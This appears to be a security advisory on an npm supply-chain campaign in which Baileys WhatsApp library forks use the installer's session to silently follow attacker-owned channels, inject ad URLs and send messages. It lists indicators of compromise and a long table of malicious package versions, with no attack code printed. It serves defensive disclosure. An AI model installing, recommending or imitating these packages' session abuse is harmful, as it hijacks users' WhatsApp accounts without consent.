Baileys npm forks farm WhatsApp Channel followers
On this page
Summary
Forks of Baileys, the popular WhatsApp Web library, silently make the installer’s WhatsApp account follow channels the package author controls. Some forks also inject the author’s advertising URL into media the bot sends. One fork sends a message from the installer’s account and then blocks the bot. This is non-consensual social abuse shipped through npm. It is not credential theft.
Continuous monitoring of the npm registry records 4,250 package names that contain baileys and
another 112 that contain libsignal-node. The set includes the upstream library, legitimate forks,
mirrors, and many packages no one has examined. This post lists only the packages confirmed as
malicious in this campaign: 82 package names built on Baileys across 375 versions, and 15
libsignal-node impersonators across 38 versions. Everything outside that confirmed set
remains unverified, not cleared as safe. The confirmed count is a lower bound, and the campaign
keeps growing.
Impact:
- A silent, non-consensual follow of attacker-owned WhatsApp channels, using the installer’s account
- A remotely controlled follow list, with each channel muted to hide the subscription (
lupy4u) - The author’s advertising URL injected into every image and video the bot sends (
mamz-baileys) - Forged channel attribution added to the installer’s outgoing messages (
@cikikomo/baileys) - A message sent from the installer’s account, then an error that blocks the bot (
@prototypevip/baileys)
Indicators of Compromise (IoC):
- npm publishers:
prototype1006,cikikomo,neykoor,mamzhandsome,lupy4u,diezyyasha - Maintainer emails:
[email protected],[email protected],[email protected],[email protected],[email protected],[email protected] - Advertising URL injected into media:
hxxps://fiora[.]nixel[.]my[.]id/(mamz-baileys) - Remote follow-list source:
hxxps://raw[.]githubusercontent[.]com/LevviCodeID/Levi4than/refs/heads/main/levvleys.json(lupy4u) - Newsletter channel identifiers:
120363401404146384@newsletter(@neykoor),120363426628484388@newsletter(@cikikomo),120363406881628130@newsletter(mamz-baileys, shared withdiezyyasha-baileys) lupy4ucontrol repository: GitHubLevviCodeID/Levi4than(lupy4upulls its follow list fromlevvleys.jsonthere); operator sitelevvicode[.]cloud
Part 1: The campaign and impacted packages
Why Baileys is a target
Baileys is a WhatsApp Web multi-device library for Node.js. Developers use it to build WhatsApp bots.
These forks target the authenticated session. A paired session can send messages, follow channels, and read chats as the account holder. An attacker who controls the session controls the account.
Recent packages
These packages are the examples analysed here. Source review covers all but one. npm removed
@diezyyasha/libsignal-node before analysis, so that row reflects public reports only.
| Package | Version | Behaviour | Delivery | Verified |
|---|---|---|---|---|
@prototypevip/baileys | 0.0.4 | Account block (self-DoS) | Fork | From source |
@cikikomo/baileys | 1.0.10 | Forged attribution | Fork | From source |
@neykoor/baileys | 7.0.16-rc15 | Forced follow | Fork | From source |
mamz-baileys | 8.6.62 | Forced follow and injected ad URL | Fork | From source |
lupy4u | 4.5.6 | Remote-controlled follow and mute | Fork | From source |
@diezyyasha/libsignal-node | 2.2.8 | Forced follow | Import-time patcher | Reported, removed |
Impacted packages
A package appears here only after a confirmed malicious verdict. The first list covers packages
built on Baileys. The second covers libsignal-node impersonators, including the import-time
patcher.
| Row | ecosystem | name | version |
|---|---|---|---|
| 1 | ECOSYSTEM_NPM | @kofoffc/baileys | 0.0.4 |
| 2 | ECOSYSTEM_NPM | @kofoffc/baileys | 0.0.3 |
| 3 | ECOSYSTEM_NPM | @neykoor/baileys | 7.0.16-rc15 |
| 4 | ECOSYSTEM_NPM | @neykoor/baileys | 7.0.15-rc15 |
| 5 | ECOSYSTEM_NPM | @neykoor/baileys | 7.0.14-rc15 |
| 6 | ECOSYSTEM_NPM | @prototypevip/baileys | 0.0.1 |
| 7 | ECOSYSTEM_NPM | @prototypevip/baileys | 0.0.4 |
| 8 | ECOSYSTEM_NPM | @cikikomo/baileys | 1.0.11 |
| 9 | ECOSYSTEM_NPM | @cikikomo/baileys | 1.0.10 |
| 10 | ECOSYSTEM_NPM | @cikikomo/baileys | 1.0.9 |
| 11 | ECOSYSTEM_NPM | @cikikomo/baileys | 1.0.8 |
| 12 | ECOSYSTEM_NPM | @cikikomo/baileys | 1.0.7 |
| 13 | ECOSYSTEM_NPM | @cikikomo/baileys | 1.0.6 |
| 14 | ECOSYSTEM_NPM | ynastore-baileys | 1.0.21 |
| 15 | ECOSYSTEM_NPM | santana-baileys | 2.0.4 |
| 16 | ECOSYSTEM_NPM | diezyyasha-baileys | 9.1.2 |
| 17 | ECOSYSTEM_NPM | diezyyasha-baileys | 9.1.1 |
| 18 | ECOSYSTEM_NPM | diezyyasha-baileys | 8.6.57 |
| 19 | ECOSYSTEM_NPM | alipclutch-baileys | 8.6.65 |
| 20 | ECOSYSTEM_NPM | alipclutch-baileys | 8.6.74 |
| 21 | ECOSYSTEM_NPM | alipclutch-baileys | 8.6.61 |
| 22 | ECOSYSTEM_NPM | alipclutch-baileys | 8.6.72 |
| 23 | ECOSYSTEM_NPM | alipclutch-baileys | 8.6.66 |
| 24 | ECOSYSTEM_NPM | alipclutch-baileys | 8.6.64 |
| 25 | ECOSYSTEM_NPM | alipclutch-baileys | 8.6.71 |
| 26 | ECOSYSTEM_NPM | alipclutch-baileys | 8.6.70 |
| 27 | ECOSYSTEM_NPM | alipclutch-baileys | 8.6.63 |
| 28 | ECOSYSTEM_NPM | diezyclutch-baileys | 8.6.78 |
| 29 | ECOSYSTEM_NPM | @prototypevip/baileys | 0.0.3 |
| 30 | ECOSYSTEM_NPM | @mrlegendbot/baileys | 1.0.0 |
| 31 | ECOSYSTEM_NPM | @mrlegendbot/baileys | 1.1.0 |
| 32 | ECOSYSTEM_NPM | @cikikomo/baileys | 1.0.4 |
| 33 | ECOSYSTEM_NPM | @cikikomo/baileys | 1.0.5 |
| 34 | ECOSYSTEM_NPM | @neykoor/baileys | 7.0.13-rc15 |
| 35 | ECOSYSTEM_NPM | @prototypevip/baileys | 0.0.2 |
| 36 | ECOSYSTEM_NPM | diezyyasha-baileys | 9.1.5 |
| 37 | ECOSYSTEM_NPM | diezyyasha-baileys | 9.2.0 |
| 38 | ECOSYSTEM_NPM | diezyyasha-baileys | 9.1.3 |
| 39 | ECOSYSTEM_NPM | diezyyasha-baileys | 9.0.0 |
| 40 | ECOSYSTEM_NPM | @xsat10/baileys-xsat | 2.0.0 |
| 41 | ECOSYSTEM_NPM | alipclutch-baileys | 8.6.77 |
| 42 | ECOSYSTEM_NPM | alipclutch-baileys | 8.6.75 |
| 43 | ECOSYSTEM_NPM | alipclutch-baileys | 8.6.59 |
| 44 | ECOSYSTEM_NPM | alipclutch-baileys | 8.6.58 |
| 45 | ECOSYSTEM_NPM | alipclutch-baileys | 8.6.60 |
| 46 | ECOSYSTEM_NPM | @bowozzz/baileys | 7.0.1 |
| 47 | ECOSYSTEM_NPM | @bowozzz/baileys | 7.7.7 |
| 48 | ECOSYSTEM_NPM | @bowozzz/baileys | 7.0.3 |
| 49 | ECOSYSTEM_NPM | @bowozzz/baileys | 1.0.0 |
| 50 | ECOSYSTEM_NPM | @bowozzz/baileys | 9.9.9 |
| 51 | ECOSYSTEM_NPM | @bowozzz/baileys | 7.0.2 |
| 52 | ECOSYSTEM_NPM | @bowozzz/baileys | 7.0.0 |
| 53 | ECOSYSTEM_NPM | @bowozzz/baileys | 6.6.6 |
| 54 | ECOSYSTEM_NPM | @bowozzz/baileys | 8.8.8 |
| 55 | ECOSYSTEM_NPM | @bowozzz/baileys | 6.6.7 |
| 56 | ECOSYSTEM_NPM | amanexzyra-baileys | 3.0.0 |
| 57 | ECOSYSTEM_NPM | amanexzyra-baileys | 4.0.0 |
| 58 | ECOSYSTEM_NPM | amanexzyra-baileys | 4.0.2 |
| 59 | ECOSYSTEM_NPM | diezyyasha-baileys | 9.1.0 |
| 60 | ECOSYSTEM_NPM | diezyyasha-baileys | 8.6.60 |
| 61 | ECOSYSTEM_NPM | diezyyasha-baileys | 8.6.61 |
| 62 | ECOSYSTEM_NPM | diezyyasha-baileys | 8.6.62 |
| 63 | ECOSYSTEM_NPM | diezyyasha-baileys | 8.6.59 |
| 64 | ECOSYSTEM_NPM | @fazzcode/baileys | 2.5.7 |
| 65 | ECOSYSTEM_NPM | @fazzcode/baileys | 2.5.6 |
| 66 | ECOSYSTEM_NPM | @fazzcode/baileys | 2.5.5 |
| 67 | ECOSYSTEM_NPM | @fazzcode/baileys | 2.5.4 |
| 68 | ECOSYSTEM_NPM | @fazzcode/baileys | 2.5.3 |
| 69 | ECOSYSTEM_NPM | @web2apk/baileys | 5.5.5 |
| 70 | ECOSYSTEM_NPM | @web2apk/baileys | 4.5.5 |
| 71 | ECOSYSTEM_NPM | @web2apk/baileys | 3.5.5 |
| 72 | ECOSYSTEM_NPM | @web2apk/baileys | 3.5.0 |
| 73 | ECOSYSTEM_NPM | @web2apk/baileys | 2.5.0 |
| 74 | ECOSYSTEM_NPM | @web2apk/baileys | 3.0.0 |
| 75 | ECOSYSTEM_NPM | @web2apk/baileys | 2.0.0 |
| 76 | ECOSYSTEM_NPM | @web2apk/baileys | 1.0.0 |
| 77 | ECOSYSTEM_NPM | @web2apk/baileys | 7.0.5 |
| 78 | ECOSYSTEM_NPM | @rexxhayanasi/elaina-baileys | 1.3.4-rc.17 |
| 79 | ECOSYSTEM_NPM | @nexustechpro/baileys | 2.2.5 |
| 80 | ECOSYSTEM_NPM | @zannstore/baileys | 2.2.6 |
| 81 | ECOSYSTEM_NPM | @zannstore/baileys | 2.2.7 |
| 82 | ECOSYSTEM_NPM | @zannstore/baileys | 2.2.8 |
| 83 | ECOSYSTEM_NPM | @zannstore/baileys | 2.4.4 |
| 84 | ECOSYSTEM_NPM | @badzz88/baileys | 8.4.9 |
| 85 | ECOSYSTEM_NPM | @zannstore/baileys | 2.3.5 |
| 86 | ECOSYSTEM_NPM | @zannstore/baileys | 2.3.6 |
| 87 | ECOSYSTEM_NPM | @zannstore/baileys | 2.3.7 |
| 88 | ECOSYSTEM_NPM | @zannstore/baileys | 2.3.9 |
| 89 | ECOSYSTEM_NPM | @zannstore/baileys | 2.4.0 |
| 90 | ECOSYSTEM_NPM | @zannstore/baileys | 2.4.1 |
| 91 | ECOSYSTEM_NPM | @zannstore/baileys | 2.4.2 |
| 92 | ECOSYSTEM_NPM | @zannstore/baileys | 2.4.3 |
| 93 | ECOSYSTEM_NPM | @nexustechpro/baileys | 2.2.3 |
| 94 | ECOSYSTEM_NPM | @nexustechpro/baileys | 2.2.2 |
| 95 | ECOSYSTEM_NPM | sanka-baileyss | 2.6.3 |
| 96 | ECOSYSTEM_NPM | @zannstore/baileys | 2.3.4 |
| 97 | ECOSYSTEM_NPM | sanka-baileyss | 2.6.2 |
| 98 | ECOSYSTEM_NPM | @zannstore/baileys | 2.3.3 |
| 99 | ECOSYSTEM_NPM | @zannstore/baileys | 2.3.2 |
| 100 | ECOSYSTEM_NPM | @zannstore/baileys | 2.3.0 |
| 101 | ECOSYSTEM_NPM | @zannstore/baileys | 2.3.1 |
| 102 | ECOSYSTEM_NPM | @systemzero/baileys | 1.1.1 |
| 103 | ECOSYSTEM_NPM | @cikikomo/baileys | 1.0.0 |
| 104 | ECOSYSTEM_NPM | diezyyasha-baileys | 8.6.58 |
| 105 | ECOSYSTEM_NPM | @sankavollereii/sanka-baileyss | 2.6.2 |
| 106 | ECOSYSTEM_NPM | @sankavollereii/sanka-baileyss | 2.6.1 |
| 107 | ECOSYSTEM_NPM | @nexustechpro/baileys | 2.2.0 |
| 108 | ECOSYSTEM_NPM | @sukatank01/baileys-whatsapp | 5.5.5 |
| 109 | ECOSYSTEM_NPM | @rexxhayanasi/elaina-baileys | 1.3.4-rc.14 |
| 110 | ECOSYSTEM_NPM | @sankavollereii/sanka-baileyss | 2.6.0 |
| 111 | ECOSYSTEM_NPM | @rexxhayanasi/elaina-baileys | 1.3.4-rc.15 |
| 112 | ECOSYSTEM_NPM | @sankavollereii/sanka-baileyss | 2.5.9 |
| 113 | ECOSYSTEM_NPM | @sankavollereii/sanka-baileyss | 2.5.8 |
| 114 | ECOSYSTEM_NPM | santana-baileys | 2.0.3 |
| 115 | ECOSYSTEM_NPM | santana-baileys | 2.0.2 |
| 116 | ECOSYSTEM_NPM | santana-baileys | 2.0.1 |
| 117 | ECOSYSTEM_NPM | @alannxd/baileys | 6.1.4 |
| 118 | ECOSYSTEM_NPM | @sgintokic/baileys | 0.1.4 |
| 119 | ECOSYSTEM_NPM | @sairidev/baileys-new | 0.3.19 |
| 120 | ECOSYSTEM_NPM | @systemzero/baileys | 1.0.8 |
| 121 | ECOSYSTEM_NPM | asepxyz-baileys | 1.0.1 |
| 122 | ECOSYSTEM_NPM | ynastore-baileys | 1.0.20 |
| 123 | ECOSYSTEM_NPM | santana-baileys | 2.0.0 |
| 124 | ECOSYSTEM_NPM | asepxyz-baileys | 1.0.0 |
| 125 | ECOSYSTEM_NPM | @fhkry/x-baileys | 1.5.0 |
| 126 | ECOSYSTEM_NPM | @fhkry/x-baileys | 1.2.0 |
| 127 | ECOSYSTEM_NPM | @fhkry/x-baileys | 1.6.0 |
| 128 | ECOSYSTEM_NPM | @fhkry/x-baileys | 1.1.0 |
| 129 | ECOSYSTEM_NPM | @fhkry/x-baileys | 1.7.0 |
| 130 | ECOSYSTEM_NPM | @fhkry/x-baileys | 1.0.0 |
| 131 | ECOSYSTEM_NPM | @fhkry/x-baileys | 1.4.0 |
| 132 | ECOSYSTEM_NPM | @fhkry/x-baileys | 1.3.0 |
| 133 | ECOSYSTEM_NPM | sauruslord-baileys | 3.0.2 |
| 134 | ECOSYSTEM_NPM | sauruslord-baileys | 3.0.1 |
| 135 | ECOSYSTEM_NPM | sauruslord-baileys | 3.0.0 |
| 136 | ECOSYSTEM_NPM | @fvckerss/baileys | 1.0.12 |
| 137 | ECOSYSTEM_NPM | @fvckerss/baileys | 1.0.11 |
| 138 | ECOSYSTEM_NPM | @fvckerss/baileys | 1.0.10 |
| 139 | ECOSYSTEM_NPM | @alannxd/baileys | 6.1.3 |
| 140 | ECOSYSTEM_NPM | @alannxd/baileys | 6.1.1 |
| 141 | ECOSYSTEM_NPM | @alannxd/baileys | 6.1.2 |
| 142 | ECOSYSTEM_NPM | baileys-clean | 7.3.2 |
| 143 | ECOSYSTEM_NPM | alice-baileys | 2.0.8 |
| 144 | ECOSYSTEM_NPM | @sanzstore/baileys-pro | 1.0.0 |
| 145 | ECOSYSTEM_NPM | @fhkry/baileys | 8.0.13 |
| 146 | ECOSYSTEM_NPM | @hanssoft/baileys | 2.0.4 |
| 147 | ECOSYSTEM_NPM | @than1st/baileys | 2.0.5 |
| 148 | ECOSYSTEM_NPM | @than1st/baileys | 2.0.6 |
| 149 | ECOSYSTEM_NPM | baileys-dgxeon | 1.0.0 |
| 150 | ECOSYSTEM_NPM | @vreden-team/baileys | 7.7.8 |
| 151 | ECOSYSTEM_NPM | @vreden-team/baileys | 7.7.9 |
| 152 | ECOSYSTEM_NPM | @vreden-team/baileys | 7.8.0 |
| 153 | ECOSYSTEM_NPM | @vreden-team/baileys | 7.8.1 |
| 154 | ECOSYSTEM_NPM | @im-dims/baileys | 5.7.3 |
| 155 | ECOSYSTEM_NPM | @otaxayuns/baileys | 7.0.5 |
| 156 | ECOSYSTEM_NPM | @otaxayuns/baileys | 7.0.4 |
| 157 | ECOSYSTEM_NPM | @fhkry/baileys-v2 | 1.0.0 |
| 158 | ECOSYSTEM_NPM | um4r719-baileys | 0.1.15 |
| 159 | ECOSYSTEM_NPM | @sixcore/baileys | 1.1.1 |
| 160 | ECOSYSTEM_NPM | @rexxtheproject/elaina-baileys | 1.0.0 |
| 161 | ECOSYSTEM_NPM | um4r719-baileys | 0.1.11 |
| 162 | ECOSYSTEM_NPM | @zecho/baileys-mod | 2.0.0 |
| 163 | ECOSYSTEM_NPM | @sheniraid/baileys | 4.0.11 |
| 164 | ECOSYSTEM_NPM | @myisrfn/baileys-mod | 1.0.6 |
| 165 | ECOSYSTEM_NPM | @myisrfn/baileys-mod | 1.0.2 |
| 166 | ECOSYSTEM_NPM | @myisrfn/baileys-mod | 1.0.1 |
| 167 | ECOSYSTEM_NPM | @myisrfn/baileys-mod | 2.0.4 |
| 168 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 8.0.5 |
| 169 | ECOSYSTEM_NPM | @xvortexsockets/baileys | 1.0.1 |
| 170 | ECOSYSTEM_NPM | @sixcore/baileys | 1.0.1 |
| 171 | ECOSYSTEM_NPM | @fr3newera/baileys | 1.0.4 |
| 172 | ECOSYSTEM_NPM | @fr3newera/baileys | 1.0.1 |
| 173 | ECOSYSTEM_NPM | @fr3newera/baileys | 1.0.0 |
| 174 | ECOSYSTEM_NPM | @sixcore/baileys | 1.0.0 |
| 175 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 8.0.3 |
| 176 | ECOSYSTEM_NPM | yuji-baileys | 4.0.4 |
| 177 | ECOSYSTEM_NPM | yuji-baileys | 4.0.2 |
| 178 | ECOSYSTEM_NPM | @yazxzpedia/baileys | 8.0.0 |
| 179 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 8.0.1 |
| 180 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 8.0.8 |
| 181 | ECOSYSTEM_NPM | @skyzopedia/baileys-pro | 8.0.7 |
| 182 | ECOSYSTEM_NPM | @dinzid04/baileys | 0.0.1 |
| 183 | ECOSYSTEM_NPM | @sanzxcode/baileys | 7.0.1 |
| 184 | ECOSYSTEM_NPM | @yazxzpedia/baileys | 6.0.0 |
| 185 | ECOSYSTEM_NPM | @yazxzpedia/baileys | 5.0.0 |
| 186 | ECOSYSTEM_NPM | @yazxzpedia/baileys | 4.0.0 |
| 187 | ECOSYSTEM_NPM | @yazxzpedia/baileys | 1.0.0 |
| 188 | ECOSYSTEM_NPM | @shenira/baileys | 4.0.1 |
| 189 | ECOSYSTEM_NPM | baileys-ud | 1.0.0 |
| 190 | ECOSYSTEM_NPM | @daffadeveloper/baileys | 8.0.0 |
| 191 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 6.0.24 |
| 192 | ECOSYSTEM_NPM | @daffadeveloper/baileys | 7.0.0 |
| 193 | ECOSYSTEM_NPM | @skyzopedia/baileys-pro | 8.0.6 |
| 194 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 8.0.7 |
| 195 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 8.0.2 |
| 196 | ECOSYSTEM_NPM | @skyzopedia/baileys-pro | 8.0.5 |
| 197 | ECOSYSTEM_NPM | @skyzopedia/baileys-pro | 8.0.4 |
| 198 | ECOSYSTEM_NPM | baileys-dtz | 7.0.0 |
| 199 | ECOSYSTEM_NPM | torbaileys | 8.0.1 |
| 200 | ECOSYSTEM_NPM | torbaileys | 8.0.0 |
| 201 | ECOSYSTEM_NPM | @skyzopedia/baileys-pro | 8.0.3 |
| 202 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 8.0.1 |
| 203 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 8.0.0 |
| 204 | ECOSYSTEM_NPM | @mikudev/ridwan-baileys-mod | 1.0.2 |
| 205 | ECOSYSTEM_NPM | @skyzopedia/baileys-pro | 8.0.2 |
| 206 | ECOSYSTEM_NPM | @skyzopedia/baileys-pro | 8.0.1 |
| 207 | ECOSYSTEM_NPM | @skyzopedia/baileys-pro | 8.0.0 |
| 208 | ECOSYSTEM_NPM | baileys-dtz | 5.0.4 |
| 209 | ECOSYSTEM_NPM | @daffadeveloper/baileys | 3.0.0 |
| 210 | ECOSYSTEM_NPM | @daffadeveloper/baileys | 2.0.5 |
| 211 | ECOSYSTEM_NPM | @daffadeveloper/baileys | 2.0.4 |
| 212 | ECOSYSTEM_NPM | baileys-dtz | 5.0.2 |
| 213 | ECOSYSTEM_NPM | @skyzopedia/baileys-pro | 7.0.16 |
| 214 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 6.0.22 |
| 215 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 6.0.22 |
| 216 | ECOSYSTEM_NPM | baileys-dtz | 5.0.0 |
| 217 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 6.0.20 |
| 218 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 6.0.21 |
| 219 | ECOSYSTEM_NPM | @skyzopedia/baileys-pro | 7.0.15 |
| 220 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 6.0.20 |
| 221 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 6.0.19 |
| 222 | ECOSYSTEM_NPM | @skyzopedia/baileys | 7.0.14 |
| 223 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 6.0.18 |
| 224 | ECOSYSTEM_NPM | @skyzopedia/baileys | 7.0.13 |
| 225 | ECOSYSTEM_NPM | @skyzopedia/baileys | 7.0.12 |
| 226 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 6.0.17 |
| 227 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 6.0.17 |
| 228 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 6.0.15 |
| 229 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 6.0.15 |
| 230 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 6.0.14 |
| 231 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 6.0.13 |
| 232 | ECOSYSTEM_NPM | @skyzopedia/baileys-pro | 3.0.1 |
| 233 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 6.0.12 |
| 234 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 6.0.12 |
| 235 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 6.0.11 |
| 236 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 6.0.11 |
| 237 | ECOSYSTEM_NPM | @skyzopedia/baileys-pro | 3.0.0 |
| 238 | ECOSYSTEM_NPM | @skyzopedia/baileys-pro | 2.0.0 |
| 239 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 6.0.10 |
| 240 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 6.0.8 |
| 241 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 6.0.8 |
| 242 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 6.0.7 |
| 243 | ECOSYSTEM_NPM | @skyzopedia/baileys | 6.0.5 |
| 244 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 6.0.5 |
| 245 | ECOSYSTEM_NPM | @skyzopedia/baileys | 6.0.2 |
| 246 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 6.0.1 |
| 247 | ECOSYSTEM_NPM | @skyzopedia/baileys | 5.0.6 |
| 248 | ECOSYSTEM_NPM | @skyzopedia/baileys | 5.0.5 |
| 249 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 5.0.7 |
| 250 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 5.0.8 |
| 251 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 5.0.7 |
| 252 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 5.0.6 |
| 253 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 5.0.6 |
| 254 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 5.0.5 |
| 255 | ECOSYSTEM_NPM | @skyzopedia/baileys | 5.0.4 |
| 256 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 5.0.5 |
| 257 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 5.0.4 |
| 258 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 5.0.3 |
| 259 | ECOSYSTEM_NPM | @skyzopedia/baileys | 5.0.2 |
| 260 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 5.0.2 |
| 261 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 5.0.2 |
| 262 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 5.0.1 |
| 263 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 5.0.1 |
| 264 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 5.0.0 |
| 265 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 5.0.0 |
| 266 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 4.0.5 |
| 267 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 4.0.3 |
| 268 | ECOSYSTEM_NPM | @dappaoffc/baileys-mod | 4.0.2 |
| 269 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 4.0.2 |
| 270 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 4.0.1 |
| 271 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 4.0.0 |
| 272 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 3.0.9 |
| 273 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 3.0.5 |
| 274 | ECOSYSTEM_NPM | @skyzopedia/baileys-mod | 3.0.2 |
| 275 | ECOSYSTEM_NPM | @yaoii-bails/baileys | 1.0.0 |
| 276 | ECOSYSTEM_NPM | @yaoii-bails/baileys | 2.0.0 |
| 277 | ECOSYSTEM_NPM | @dappaoffc/baileys | 2.0.6 |
| 278 | ECOSYSTEM_NPM | @skyzopedia/baileys | 2.0.5 |
| 279 | ECOSYSTEM_NPM | @yaoii-bails/baileys | 2.0.34 |
| 280 | ECOSYSTEM_NPM | @yaoii-bails/baileys | 2.0.4 |
| 281 | ECOSYSTEM_NPM | @yaoii-bails/baileys | 2.0.3 |
| 282 | ECOSYSTEM_NPM | @yaoii-bails/baileys | 2.0.23 |
| 283 | ECOSYSTEM_NPM | @dappaoffc/baileys | 2.0.4 |
| 284 | ECOSYSTEM_NPM | @skyzopedia/baileys | 2.0.4 |
| 285 | ECOSYSTEM_NPM | @dappaoffc/baileys | 2.0.2 |
| 286 | ECOSYSTEM_NPM | @yaoii-bails/baileys | 2.0.19 |
| 287 | ECOSYSTEM_NPM | @yaoii-bails/baileys | 2.0.5 |
| 288 | ECOSYSTEM_NPM | @yaoii-bails/baileys | 2.0.1 |
| 289 | ECOSYSTEM_NPM | @yaoii-bails/yaoii-baileys | 2.0.1 |
| 290 | ECOSYSTEM_NPM | @yaoii-bails/yaoii-baileys | 2.0.10 |
| 291 | ECOSYSTEM_NPM | @yaoii-bails/yaoii-baileys | 2.0.5 |
| 292 | ECOSYSTEM_NPM | @yaoii-bails/baileys | 2.0.17 |
| 293 | ECOSYSTEM_NPM | @yaoii-bails/baileys | 2.0.18 |
| 294 | ECOSYSTEM_NPM | @yaoii-bails/baileys | 2.0.15 |
| 295 | ECOSYSTEM_NPM | @yaoii-bails/baileys | 2.0.14 |
| 296 | ECOSYSTEM_NPM | @yaoii-bails/baileys | 2.0.13 |
| 297 | ECOSYSTEM_NPM | @yaoii-bails/baileys | 2.0.11 |
| 298 | ECOSYSTEM_NPM | @yaoii-bails/baileys | 2.0.10 |
| 299 | ECOSYSTEM_NPM | @skyzopedia/baileys | 2.0.3 |
| 300 | ECOSYSTEM_NPM | @shennmine/baileys | 2.1.1 |
| 301 | ECOSYSTEM_NPM | @shennmine/baileys | 2.1.0 |
| 302 | ECOSYSTEM_NPM | @shennmine/baileys | 2.0.8 |
| 303 | ECOSYSTEM_NPM | @shennmine/baileys | 2.0.7 |
| 304 | ECOSYSTEM_NPM | @shennmine/baileys | 2.0.6 |
| 305 | ECOSYSTEM_NPM | @shennmine/baileys | 2.0.5 |
| 306 | ECOSYSTEM_NPM | @shennmine/baileys | 2.0.4 |
| 307 | ECOSYSTEM_NPM | @shennmine/baileys | 2.0.3 |
| 308 | ECOSYSTEM_NPM | freedom-baileys | 2.0.0 |
| 309 | ECOSYSTEM_NPM | @shennmine/baileys | 2.0.2 |
| 310 | ECOSYSTEM_NPM | @shennmine/baileys | 2.0.1 |
| 311 | ECOSYSTEM_NPM | @shennmine/baileys | 2.0.0 |
| 312 | ECOSYSTEM_NPM | @shennmine/baileys | 1.1.8 |
| 313 | ECOSYSTEM_NPM | @shennmine/baileys | 1.1.7 |
| 314 | ECOSYSTEM_NPM | @shennmine/baileys | 1.1.6 |
| 315 | ECOSYSTEM_NPM | @shennmine/baileys | 1.1.5 |
| 316 | ECOSYSTEM_NPM | @shennmine/baileys | 1.1.3 |
| 317 | ECOSYSTEM_NPM | @shennmine/baileys | 1.1.2 |
| 318 | ECOSYSTEM_NPM | @shennmine/baileys | 1.1.1 |
| 319 | ECOSYSTEM_NPM | supun-baileys | 2.0.0 |
| 320 | ECOSYSTEM_NPM | baileys-dtz | 2.0.0 |
| 321 | ECOSYSTEM_NPM | baileys-cleaner | 1.9.7 |
| 322 | ECOSYSTEM_NPM | baileys-cleaner | 1.9.5 |
| 323 | ECOSYSTEM_NPM | baileys-cleaner | 1.9.4 |
| 324 | ECOSYSTEM_NPM | baileys-cleaner | 1.9.3 |
| 325 | ECOSYSTEM_NPM | baileys-cleaner | 1.9.2 |
| 326 | ECOSYSTEM_NPM | baileys-cleaner | 1.9.1 |
| 327 | ECOSYSTEM_NPM | baileys-cleaner | 1.9.0 |
| 328 | ECOSYSTEM_NPM | baileys-cleaner | 1.8.0 |
| 329 | ECOSYSTEM_NPM | baileys-cleaner | 1.7.0 |
| 330 | ECOSYSTEM_NPM | baileys-cleaner | 1.5.0 |
| 331 | ECOSYSTEM_NPM | baileys-cleaner | 1.4.0 |
| 332 | ECOSYSTEM_NPM | baileys-cleaner | 1.3.0 |
| 333 | ECOSYSTEM_NPM | baileys-cleaner | 1.2.0 |
| 334 | ECOSYSTEM_NPM | baileys-cleaner | 1.1.0 |
| 335 | ECOSYSTEM_NPM | baileys-cleaner | 1.0.9 |
| 336 | ECOSYSTEM_NPM | baileys-cleaner | 1.0.8 |
| 337 | ECOSYSTEM_NPM | baileys-cleaner | 1.0.7 |
| 338 | ECOSYSTEM_NPM | baileys-cleaner | 1.0.5 |
| 339 | ECOSYSTEM_NPM | baileys-cleaner | 1.0.6 |
| 340 | ECOSYSTEM_NPM | baileys-cleaner | 1.0.4 |
